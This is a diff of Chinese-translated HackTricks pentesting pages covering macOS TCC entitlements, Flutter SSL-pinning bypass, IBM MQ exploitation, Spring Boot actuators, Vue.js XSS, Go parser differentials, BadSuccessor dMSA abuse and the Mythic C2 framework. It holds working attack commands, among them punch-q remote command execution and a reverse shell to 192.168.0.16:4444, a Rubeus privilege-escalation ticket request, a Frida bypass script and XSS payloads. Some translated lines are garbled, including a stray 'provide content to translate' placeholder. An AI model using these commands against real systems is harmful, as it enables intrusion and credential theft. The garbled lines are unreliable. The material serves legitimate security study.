```
或使它们执行 **任意操作**
或使它们执行**任意操作**。
### **`kTCCServiceEndpointSecurityClient`**
允许在其他权限中 **写入用户的 TCC 数据库**
允许在其他权限中**写入用户的 TCC 数据库**。
### **`kTCCServiceSystemPolicySysAdminFiles`**
允许 **更改** 用户的 **`NFSHomeDirectory`** 属性,从而更改其主文件夹路径,因此允许 **绕过 TCC**
允许**更改**用户的**`NFSHomeDirectory`**属性,从而更改其主文件夹路径,因此允许**绕过 TCC**。
### **`kTCCServiceSystemPolicyAppBundles`**
允许修改应用程序包内的文件(在 app.app 内),这在 **默认情况下是不允许的**
允许修改应用程序包内的文件(在 app.app 内),这在默认情况下是**不允许的**。
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
@ -117,27 +117,27 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### `kTCCServiceAccessibility`
该进程将能够 **滥用 macOS 辅助功能**,这意味着例如它将能够按下按键。因此,它可以请求访问控制像 Finder 这样的应用程序,并批准具有此权限的对话框。
该进程将能够**滥用 macOS 辅助功能**,这意味着例如它将能够按下按键。因此,它可以请求访问控制像 Finder 这样的应用程序,并批准具有此权限的对话框。
## 中等
### `com.apple.security.cs.allow-jit`
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来 **创建可写和可执行的内存**。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
此权限允许通过将 `MAP_JIT` 标志传递给 `mmap()` 系统函数来**创建可写和可执行的内存**。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit)。
### `com.apple.security.cs.allow-unsigned-executable-memory`
此权限允许 **覆盖或修补 C 代码**,使用已被长期弃用的 **`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用 **DVDPlayback** 框架。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
此权限允许**覆盖或修补 C 代码**,使用已被长期弃用的**`NSCreateObjectFileImageFromMemory`**(这在根本上是不安全的),或使用**DVDPlayback**框架。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
> [!CAUTION]
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
> 包含此权限会使您的应用程序暴露于内存不安全代码语言中的常见漏洞。仔细考虑您的应用程序是否需要此例外。
### `com.apple.security.cs.disable-executable-page-protection`
此权限允许 **修改其自身可执行文件** 在磁盘上的部分以强制退出。查看 [**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
此权限允许**修改其自身可执行文件**的部分内容以强制退出。查看[**更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
> [!CAUTION]
> 禁用可执行内存保护权限是一种极端权限,它从您的应用程序中移除了基本的安全保护,使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能,优先选择更窄的权限。
> 禁用可执行内存保护权限是一种极端权限,它从您的应用程序中移除了基本的安全保护,使攻击者能够在不被检测的情况下重写您应用程序的可执行代码。如果可能,优先选择更窄的权限。
### `com.apple.security.cs.allow-relative-library-loads`
@ -163,3 +163,8 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
{{#include ../../../banners/hacktricks-training.md}}
</details>
{{#include /banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ Flutter是**谷歌的跨平台UI工具包**允许开发者编写单一的Dart
### 为什么在Flutter中拦截HTTPS很棘手
* **SSL/TLS验证位于BoringSSL的两层下方**因此Java SSL固定绕过不会触及它。
* **BoringSSL在libflutter.so内部使用其*自己的* CA存储**将你的Burp/ZAP CA导入Android的系统存储不会改变任何东西。
* libflutter.so中的符号是**剥离和混淆的**,隐藏了证书验证功能,使动态工具无法使用
* libflutter.so中的符号是**剥离和混淆的**,隐藏了证书验证功能,使动态工具无法访问
### 确定确切的Flutter栈
知道版本可以让你重建或模式匹配正确的二进制文件。
@ -57,7 +57,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true'
onComplete: function () { console.log("scan done"); }
});
```
运行它:
提供需要翻译的具体内容。
```bash
frida -U -f com.example.app -l bypass.js
```
@ -68,7 +68,9 @@ frida -U -f com.example.app -l bypass.js
### 通过代理强制流量
Flutter 本身 **忽略设备代理设置**。最简单的选项:
* **Android Studio 模拟器:** 设置 ▶ 代理 → 手动。
* **物理设备:** 恶意 Wi-Fi AP + DNS 欺骗,或 Magisk 模块编辑 `/etc/hosts`
* **物理设备:** 恶意 Wi-Fi AP + DNS 欺骗,或编辑 Magisk 模块 `/etc/hosts`
## 参考
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
{{#include /banners/hacktricks-training.md}}

View File

@ -31,10 +31,10 @@ IBM 提供了大量技术文档,详见 [https://www.ibm.com/docs/en/ibm-mq](ht
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
> fi
> ```
@ -44,7 +44,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. 然后,临时将 `.so` 文件添加到 LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`**在**使用这些依赖项运行其他工具之前。
6. 然后,临时将 `.so` 文件添加到 LD`export LD_LIBRARY_PATH=/opt/mqm/lib64`**在**使用这些依赖项运行其他工具之前。
然后,您可以克隆项目 [**pymqi**](https://github.com/dsuch/pymqi):它包含有趣的代码片段、常量等。或者您可以直接安装库:`pip install pymqi`
@ -52,11 +52,11 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_
#### 使用 Docker
只需使用:`sudo docker run --rm -ti leonjza/punch-q`
简单地使用:`sudo docker run --rm -ti leonjza/punch-q`
#### 不使用 Docker
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照 readme 进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
克隆项目 [**punch-q**](https://github.com/sensepost/punch-q),然后按照自述文件进行安装(`pip install -r requirements.txt && python3 setup.py install`)。
之后,可以使用 `punch-q` 命令。
@ -73,7 +73,7 @@ Queue Manager name: MYQUEUEMGR
```
### Channels
**punch-q** 使用一个内部(可修改的)词汇表来查找现有的频道。使用示例:
**punch-q** 正在使用一个内部(可修改的)单词列表来查找现有的通道。用法示例:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
@ -82,9 +82,9 @@ Queue Manager name: MYQUEUEMGR
```
有些 IBM MQ 实例接受 **未认证** 的 MQ 请求,因此不需要 `--username / --password`。当然,访问权限也可能有所不同。
一旦我们获得一个通道名称(这里是: `DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
一旦我们获得一个通道名称(这里是`DEV.ADMIN.SVRCONN`),我们就可以枚举所有其他通道。
枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成:
枚举基本上可以使用这个代码片段 `code/examples/dis_channels.py` 来完成,来自 **pymqi**
```python
import logging
import pymqi
@ -179,12 +179,12 @@ Showing queues with prefix: "*"...
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**不要犹豫,迭代所有识别的队列。**
**不要犹豫,迭代所有识别的队列。**
### 代码执行
> 在继续之前的一些细节IBM MQ 可以通过多种方式控制MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们关注的与实例远程交互的方式。**punch-q** 和进一步的 **pymqi** 基于 PCF 交互
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们关注的与实例远程交互的方式。**punch-q** 和进一步的 **pymqi** 基于 PCF 交互。
>
> 您可以找到 PCF 命令的列表:
>
@ -203,13 +203,13 @@ Showing queues with prefix: "*"...
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> 在 IBM MQ 的日志中,您可以看到命令已成功执行:
> 在IBM MQ的日志中您可以看到命令已成功执行
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: 命令 '808544aa7fc94c48' 已启动。进程 ID(618)。 [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
您还可以枚举机器上现有的程序(这里 `/bin/doesnotexist` ... 不存在):
>
> 您还可以枚举机器上现有的程序(这里`/bin/doesnotexist` ... 不存在):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
@ -224,18 +224,18 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**请注意,程序启动是异步的。因此,您需要第二个项目来利用漏洞** **_(反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)_**
**请注意,程序启动是异步的。因此,您需要第二个项目来利用漏洞** **_(反向 shell 的监听器、在不同服务上创建文件、通过网络进行数据外泄 ...)_**
**示例 2**
为了方便反向 shell**punch-q** 还提供了两个反向 shell 有效载荷:
为了轻松获取反向 shell**punch-q** 还提供了两个反向 shell 有效载荷:
- 一个使用 bash
- 一个使用 perl
_当然您可以使用 `execute` 命令构建自定义的有效载荷。_
对于 bash
对于 bash:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
@ -243,7 +243,7 @@ _当然您可以使用 `execute` 命令构建自定义的有效载荷。_
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### 自定义 PCF
### Custom PCF
您可以深入研究 IBM MQ 文档,并直接使用 **pymqi** python 库来测试 **punch-q** 中未实现的特定 PCF 命令。
@ -277,7 +277,7 @@ qmgr.disconnect()
```
如果您无法找到常量名称,可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。
> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)的示例(十进制 = 73。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029可以是`_`(文档:\*
> _[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)的示例(十进制 = 73。它需要参数`MQCA_CLUSTER_NAME`(十进制 = 2029可以是`_`(文档::\*
>
> ```python
> import pymqi
@ -294,12 +294,12 @@ qmgr.disconnect()
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> print("Error")
> else:
> print(response)
> print(response)
>
> qmgr.disconnect()
> ```
@ -308,7 +308,7 @@ qmgr.disconnect()
如果您想测试IBM MQ的行为和漏洞可以基于Docker设置本地环境
1. 在ibm.com和cloud.ibm.com上拥有一个户。
1. 在ibm.com和cloud.ibm.com上拥有一个户。
2. 创建一个容器化的IBM MQ
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
@ -326,6 +326,8 @@ CONTAINER ID IMAGE COMMAND CRE
## 参考文献
- [mgeeky's gist - "实用的 IBM MQ 渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [mgeeky gist - "实用的 IBM MQ 渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq)
{{#include /banners/hacktricks-training.md}}

View File

@ -17,7 +17,7 @@
- Spring Boot Actuators 注册的端点包括 `/health``/trace``/beans``/env` 等。在 1 到 1.4 版本中,这些端点无需身份验证即可访问。从 1.5 版本开始,默认情况下只有 `/health``/info` 是非敏感的,但开发人员通常会禁用此安全性。
- 某些 Actuator 端点可能会暴露敏感数据或允许有害操作:
- `/dump``/trace``/logfile``/shutdown``/mappings``/env``/actuator/env``/restart``/heapdump`
- 在 Spring Boot 1.x 中actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/` 基路径下。
- 在 Spring Boot 1.x 中actuators 注册在根 URL 下,而在 2.x 中,它们位于 `/actuator/`路径下。
### **利用技术:**
@ -62,3 +62,8 @@ Host: target.com
Connection: close
```
{{#include ../../banners/hacktricks-training.md}}
{{#include /banners/hacktricks-training.md}}

View File

@ -5,7 +5,7 @@
## Vue.js中的XSS漏洞
### v-html指令
`v-html`指令渲染**原始**HTML因此任何嵌入在未清理的用户输入中的`<script>`(或像`onerror`这样的属性)会立即执行。
`v-html`指令渲染**原始**HTML因此任何嵌入在未经过滤的用户输入中的`<script>`(或像`onerror`这样的属性)会立即执行。
```html
<div id="app">
<div v-html="htmlContent"></div>
@ -19,7 +19,7 @@ htmlContent: '<img src=x onerror=alert(1)>'
})
</script>
```
### v-bind 与 src 或 href
### v-bind with src or href
将用户字符串绑定到带有 URL 的属性(`href``src``xlink:href``formaction` 等)允许在跟随链接时运行诸如 `javascript:alert(1)` 的有效载荷。
```html
<div id="app">
@ -35,7 +35,7 @@ userInput: 'javascript:alert(1)'
</script>
```
### v-on 与用户控制的处理程序
`v-on` 使用 `new Function` 编译其值;如果该值来自用户,您就将代码执行的权直接交给他们。
`v-on` 使用 `new Function` 编译其值;如果该值来自用户,您就将代码执行的权直接交给他们。
```html
<div id="app">
<button v-on:click="malicious">Click me</button>
@ -86,7 +86,7 @@ merge({}, JSON.parse('{ "__proto__": { "polluted": true } }'))
this.$router.push(this.$route.query.next) // DANGER
```
### CSRF in Axios / fetch
单页应用仍然需要服务器端的 CSRF 令牌;仅使用 SameSite cookies 无法阻止自动提交的跨源 POST 请求。
单页应用仍然需要服务器端的CSRF令牌仅使用SameSite cookies无法阻止自动提交的跨源POST请求。
```js
axios.post('/api/transfer', data, {
headers: { 'X-CSRF-TOKEN': token }
@ -99,7 +99,7 @@ X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none';
```
### Content-Security-Policy pitfalls
完整的 Vue 构建需要 `unsafe-eval`;切换到运行时构建或预编译模板,以便您可以去掉个危险的源。
完整的 Vue 构建需要 `unsafe-eval`;切换到运行时构建或预编译模板,以便您可以去掉个危险的源。
```http
Content-Security-Policy: default-src 'self'; script-src 'self';
```
@ -119,7 +119,7 @@ npm ci --ignore-scripts # safer install
5. **发送强大的 HTTP 头** (CSP, HSTS, XFO, CSRF)。
6. **通过审计、锁定文件和签名提交来锁定你的供应链**
## 参考文献
## 参考资料
- [https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/](https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/)
- [https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da](https://medium.com/@isaacwangethi30/vue-js-security-6e246a7613da)

View File

@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
```
```
{{#include /banners/hacktricks-training.md}}

View File

@ -0,0 +1,128 @@
# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON 解码器
在 Go JSON 中检测到以下问题,尽管这些问题也可能出现在其他语言中。这些问题已在 [**这篇博客文章**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) 中发布。
Go 的 JSON、XML 和 YAML 解析器存在许多不一致和不安全的默认设置,这些设置可能被滥用以 **绕过身份验证**、**提升权限** 或 **外泄敏感数据**
### (反)序列化意外数据
目标是利用允许攻击者读取/写入敏感字段(例如,`IsAdmin``Password`)的结构体。
- 示例结构体:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- 常见漏洞
1. **缺失标签**(无标签 = 字段仍然按默认解析):
```go
type User struct {
Username string
}
```
有效载荷:
```json
{"Username": "admin"}
```
2. **不正确使用 `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
有效载荷:
```json
{"-": true}
```
✔️ 正确阻止字段被(反)序列化的方法:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### 解析器差异
目标是通过利用不同解析器对相同有效负载的不同解释来绕过授权,例如:
- CVE-2017-12635: 通过重复键绕过 Apache CouchDB
- 2022: 通过 XML 解析器不一致性实现 Zoom 0-click RCE
- GitLab 2025 通过 XML 特性绕过 SAML
**1. 重复字段:**
Go 的 `encoding/json`**最后** 一个字段。
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
其他解析器例如Java的Jackson可能会取**第一个**。
**2. 不区分大小写:**
Go是不区分大小写的
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
即使是Unicode技巧也有效
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. 跨服务不匹配:**
想象一下:
- 用 Go 编写的代理
- 用 Python 编写的 AuthZ 服务
攻击者发送:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python 看到 `UserAction`,允许它
- Go 看到 `AdminAction`,执行它
### 数据格式混淆(多语言)
目标是利用混合格式JSON/XML/YAML或在解析器错误时失败开放的系统例如
- **CVE-2020-16250**HashiCorp Vault 在 STS 返回 JSON 而不是 XML 后,用 XML 解析器解析了 JSON。
攻击者控制:
- `Accept: application/json`
- 对 JSON 主体的部分控制
Go 的 XML 解析器 **仍然** 解析了它并信任注入的身份。
- 精心制作的有效负载:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
结果:
- **Go JSON** 解析器: `Action_2` (不区分大小写 + 最后一个胜出)
- **YAML** 解析器: `Action_1` (区分大小写)
- **XML** 解析器:解析字符串中的 `"Action_3"`
### 🔐 缓解措施
| 风险 | 修复 |
|-----------------------------|---------------------------------------|
| 未知字段 | `decoder.DisallowUnknownFields()` |
| 重复字段JSON | ❌ 标准库中没有修复 |
| 不区分大小写的匹配 | ❌ 标准库中没有修复 |
| XML 垃圾数据 | ❌ 标准库中没有修复 |
| YAML未知键 | `yaml.KnownFields(true)` |
{{#include ../banners/hacktricks-training.md}}

View File

@ -17,7 +17,7 @@ Akamai 研究人员发现,单个属性 — **`msDSManagedAccountPrecededByL
## 攻击要求
1. **至少一个 Windows Server 2025 DC**,以便 dMSA LDAP 类和 KDC 逻辑存在。
2. **在 OU 上的任何对象创建或属性写入权限**(任何 OU 例如 `Create msDSDelegatedManagedServiceAccount` 或简单地 **Create All Child Objects**。Akamai 发现 91% 的真实租户将此类“良性”OU 权限授予非管理员。
2. **在 OU 上的任何对象创建或属性写入权限**(任何 OU 例如 `Create msDSDelegatedManagedServiceAccount` 或简单地 **Create All Child Objects**。Akamai 发现 91% 的真实租户将此类“良性” OU 权限授予非管理员。
3. 能够从任何域加入的主机上运行工具PowerShell/Rubeus以请求 Kerberos 票证。
*不需要对受害者用户的控制;攻击从未直接接触目标账户。*
@ -52,7 +52,7 @@ Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /ops
因为我们的假迁移声称 dMSA 继承了受害者KDC 认真地将受害者的 RC4-HMAC 密钥复制到 **previouskeys** 列表中 — 即使 dMSA 从未拥有“以前”的密码。该 RC4 密钥是未加盐的,因此它实际上是受害者的 NT 哈希,赋予攻击者 **离线破解或“传递哈希”** 的能力。
因此,大规模链接数千个用户使攻击者能够“规模化”转储哈希,将 **BadSuccessor 变成特权提升和凭证泄露的原语**
因此,大规模链接数千个用户使攻击者能够“规模化”转储哈希,将 **BadSuccessor 变成特权提升和凭证泄露的原语**
## 工具

View File

@ -4,7 +4,7 @@
## SCM
**SCMExec** 是一种使用服务控制管理器SCM在远程系统上执行命令的技术,通过创建一个运行该命令的服务来实现。此方法可以绕过一些安全控制,例如用户帐户控制UACWindows Defender。
**SCMExec** 是一种使用服务控制管理器 (SCM) 在远程系统上执行命令的技术,通过创建一个运行该命令的服务。此方法可以绕过一些安全控制,例如用户帐户控制 (UAC) 和 Windows Defender。
## Tools

View File

@ -1,8 +1,10 @@
# Mythic
{{#include ../banners/hacktricks-training.md}}
## 什么是 Mythic
Mythic 是一个开源的、模块化的命令和控制 (C2) 框架,旨在用于红队渗透测试。它允许安全专业人员在不同操作系统(包括 Windows、Linux 和 macOS上管理和部署各种代理有效载荷。Mythic 提供了一个用户友好的 Web 界面,用于管理代理、执行命令和收集结果,使其成为在受控环境中模拟真实攻击的强大工具。
Mythic 是一个开源的、模块化的命令与控制 (C2) 框架,旨在用于红队测试。它允许安全专业人员在不同操作系统(包括 Windows、Linux 和 macOS上管理和部署各种代理有效载荷。Mythic 提供了一个用户友好的网页界面,用于管理代理、执行命令和收集结果,使其成为在受控环境中模拟真实攻击的强大工具。
### 安装
@ -32,7 +34,7 @@ sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```
## [Apollo Agent](https://github.com/MythicAgents/Apollo)
Apollo是一个用C#编写的Windows代理使用4.0 .NET Framework旨在用于SpecterOps的培训课程。
Apollo 是一个用 C# 编写的 Windows 代理,使用 4.0 .NET Framework旨在用于 SpecterOps 培训课程。
使用以下命令安装:
```bash
@ -82,15 +84,15 @@ Apollo是一个用C#编写的Windows代理使用4.0 .NET Framework旨在
- `spawn`: 在指定的可执行文件中生成新的代理会话允许在新进程中执行shellcode
- `spawnto_x64``spawnto_x86`: 将后渗透作业中使用的默认二进制文件更改为指定路径,而不是使用没有参数的`rundll32.exe`,这会产生很多噪音。
### Mythic Forge
### Mithic Forge
这允许从Mythic Forge加载**COFF/BOF**文件Mythic Forge是一个预编译有效载荷和工具的存储库可以在目标系统上执行。通过可以加载的所有命令将能够在当前代理进程中以BOF的形式执行常见操作(通常更隐蔽)。
这允许从Mythic Forge加载**COFF/BOF**文件Mythic Forge是一个预编译有效载荷和工具的存储库可以在目标系统上执行。通过可以加载的所有命令将能够以BOFs的形式在当前代理进程中执行常见操作(通常更隐蔽)。
开始安装它们:
```bash
./mythic-cli install github https://github.com/MythicAgents/forge.git
```
然后,使用 `forge_collections` 显示 Mythic Forge 中的 COFF/BOF 模块,以便能够选择并将它们加载到代理的内存中以执行。默认情况下,以下 2 个集合在 Apollo 中添加:
然后,使用 `forge_collections` 显示 Mythic Forge 中的 COFF/BOF 模块,以便能够选择并将它们加载到代理的内存中以执行。默认情况下,以下 2 个集合在 Apollo 中添加:
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
@ -101,7 +103,7 @@ Apollo是一个用C#编写的Windows代理使用4.0 .NET Framework旨在
- `powershell_import`: 将新的 PowerShell 脚本 (.ps1) 导入代理缓存以供后续执行
- `powershell`: 在代理的上下文中执行 PowerShell 命令,允许进行高级脚本编写和自动化
- `powerpick`: 将 PowerShell 加载程序程序集注入到一个牺牲进程中并执行 PowerShell 命令(不进行 PowerShell 日志记录)。
- `powerpick`: 将 PowerShell 加载程序程序集注入到一个牺牲进程中并执行 PowerShell 命令(不记录 PowerShell 日志)。
- `psinject`: 在指定进程中执行 PowerShell允许在另一个进程的上下文中有针对性地执行脚本
- `shell`: 在代理的上下文中执行 shell 命令,类似于在 cmd.exe 中运行命令
@ -111,7 +113,7 @@ Apollo是一个用C#编写的Windows代理使用4.0 .NET Framework旨在
- `jump_wmi`: 使用 WMI 技术通过首先复制 Apollo 代理可执行文件 (apollo.exe) 并执行它来横向移动到新主机。
- `wmiexecute`: 使用 WMI 在本地或指定的远程系统上执行命令,提供可选的凭据进行模拟。
- `net_dclist`: 检索指定域的域控制器列表,有助于识别潜在的横向移动目标。
- `net_localgroup`: 列出指定计算机上的本地组,如果未指定计算机,则默认为本地主机
- `net_localgroup`: 列出指定计算机上的本地组,如果未指定计算机,则默认为 localhost
- `net_localgroup_member`: 检索本地或远程计算机上指定组的本地组成员资格,允许枚举特定组中的用户。
- `net_shares`: 列出指定计算机上的远程共享及其可访问性,有助于识别潜在的横向移动目标。
- `socks`: 在目标网络上启用 SOCKS 5 兼容代理,允许通过被攻陷的主机隧道流量。与 proxychains 等工具兼容。
@ -149,16 +151,19 @@ Poseidon 是一个用 Golang 编写的代理,编译为 **Linux 和 macOS** 可
### 横向移动
- `ssh`: 使用指定凭据 SSH 到主机并打开一个 PTY而不生成 ssh
- `ssh`: 使用指定凭据 SSH 到主机,并在不生成 ssh 的情况下打开 PTY
- `sshauth`: 使用指定凭据 SSH 到指定主机。您还可以使用此命令通过 SSH 在远程主机上执行特定命令或使用它来 SCP 文件。
- `link_tcp`: 通过 TCP 链接到另一个代理,允许代理之间的直接通信。
- `link_webshell`: 使用 webshell P2P 配置文件链接到代理,允许远程访问代理的 Web 界面。
- `rpfwd`: 启动或停止反向端口转发,允许远程访问目标网络上的服务。
- `socks`: 在目标网络上启动或停止 SOCKS5 代理,允许通过被攻陷的主机进行流量隧道。与 proxychains 等工具兼容。
- `socks`: 在目标网络上启动或停止 SOCKS5 代理,允许通过被攻陷的主机隧道流量。与 proxychains 等工具兼容。
- `portscan`: 扫描主机以查找开放端口,有助于识别潜在的横向移动或进一步攻击的目标。
### 进程执行
- `shell`: 通过 /bin/sh 执行单个 shell 命令,允许在目标系统上直接执行命令。
- `run`: 从磁盘执行带参数的命令,允许在目标系统上执行二进制文件或脚本。
- `pty`: 打开一个交互式 PTY允许与目标系统上的 shell 进行直接交互。
- `pty`: 打开一个交互式 PTY允许与目标系统上的 shell 直接交互。
{{#include ../banners/hacktricks-training.md}}